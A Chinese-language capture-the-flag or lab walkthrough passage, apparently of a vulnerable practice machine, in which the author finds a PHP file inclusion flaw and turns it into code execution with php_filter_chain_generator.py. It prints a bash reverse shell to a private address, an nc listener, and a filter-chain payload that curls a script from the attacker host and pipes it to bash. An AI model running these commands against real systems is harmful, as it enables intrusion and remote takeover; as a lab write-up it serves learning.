nikto似乎扫出来了不少东西，看一下是否可行：
哈哈哈，不错，存在文件包含漏洞欸，尝试利用一下，没成功，啥filter之类的都不行。
再次扫描，这个feroxbuster我总感觉有漏掉的，之前就漏掉过，查半天。

又来一个文件包含？
再试试：
还真是，尝试一下filter：
看来很行！！尝试查看一下这个file.php的源代码：
虽然可以进行包含，但是我们没有找到可以上传文件的地方，所以我们只能利用一个用于生成 PHP 过滤器链的 CLI ，php_filter_chain_generator.py
了，这个工具如果在可以完全控制传递给 PHP 中的 require 或 include 的参数，则无需上传文件即可获得 RCE！
本地生成一个反弹shell并监听
# reverse
bash -c 'exec bash -i &>/dev/tcp/192.168.0.126/1234 <&1'
sudo python3 -m http.server 8888
# kali
nc -lvnp 1234使用链生成一个荷载访问本地的reverse
# `<?= ?>` is a shorthand for `<?php echo ~ ?>`
python3 php_filter_chain_generator.py --chain '<?= `curl -s -L 192.168.0.126:8888/reverse|bash` ?>'
万事俱备，只欠东风！
